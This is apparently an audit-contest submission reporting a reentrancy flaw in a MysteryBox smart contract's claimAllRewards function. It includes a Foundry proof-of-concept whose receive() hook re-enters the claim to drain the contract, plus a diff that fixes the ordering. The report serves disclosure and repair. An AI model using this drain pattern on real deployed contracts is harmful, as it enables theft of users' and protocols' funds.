Submission Details
Severity:
Reentrancy attack in mysteryBox::claimAllRewards
Summary
MysteryBox::claimAllRewards is vulnerable to reentrancy attack leading to draining of the entire protocol
Vulnerability Details
the check, efect and interact (CEI) principle is not followed in writing MysteryBox::claimAllRewards function hence the entire protocol is exposed to reentrancy attack which may lead to draining of all funds from the protocol
PoC
below is a proof of code
function checkIfClaimableIsValid() internal view returns (bool) {
uint256 latestRewardIndex = mysteryBox.getRewards().length - 1;
uint256 claimableValue = mysteryBox.getRewards()[latestRewardIndex].value;
if(claimableValue > 0) {
return true;
}
return false;
}
function testReentrancy() public {
address anonUser1 = makeAddr("anonUser1");
address anonUser2 = makeAddr("anonUser2");
address anonUser3 = makeAddr("anonUser3");
vm.deal(user1, 1 ether);
vm.prank(user1);
mysteryBox.buyBox{value: 0.1 ether}();
vm.deal(anonUser1, 1 ether);
vm.prank(anonUser1);
mysteryBox.buyBox{value: 0.1 ether}();
vm.deal(anonUser2, 1 ether);
vm.prank(anonUser2);
mysteryBox.buyBox{value: 0.1 ether}();
vm.deal(anonUser3, 1 ether);
vm.prank(anonUser3);
mysteryBox.buyBox{value: 0.1 ether}();
// let's use the default deployer as the attacker
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.openBox();
if(!checkIfClaimableIsValid()) {
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.openBox();
}
uint256 latestRewardIndex = mysteryBox.getRewards().length - 1;
uint256 attackerClaimableValue = mysteryBox.getRewards()[latestRewardIndex].value;
uint256 attackerBalAfterBuyingBox = address(this).balance;
uint256 contractBalBefore = address(mysteryBox).balance;
console.log("Contract Balance Before:", contractBalBefore);
//=====let the reentrancy begins=====
mysteryBox.claimAllRewards();
uint256 contractBalAfter = address(mysteryBox).balance;
console.log("Contract Balance after exploit:", contractBalAfter);
uint256 attackerBalAfter = address(this).balance;
assertLt(contractBalAfter, attackerBalAfter);
}
receive() external payable {
//console.log("Receive ETH gotten: ", address(this).balance);
uint256 boxBal = address(mysteryBox).balance;
uint256 latestRewardIndex = mysteryBox.getRewards().length - 1;
if(boxBal > 0 && boxBal >= mysteryBox.getRewards()[latestRewardIndex].value) {
mysteryBox.claimAllRewards();
}
}
fallback() external payable {
}
Impact
Loss of funds for protocol
protocol becomes insolvent
loss of funds for users
Tools Used
manual review
foundry test
Recommendations
use the CEI(Check, Effect, Interraction) principle in creating the
MysteryBox::claimAllRewardsfunction
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
+ delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender];
}
Updates
Appeal created
inallhonesty 8 months ago
Submission Judgement Published Assigned finding tags:
`claimAllRewards` reentrancy
Rewards breakdown
nSLOC
86This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.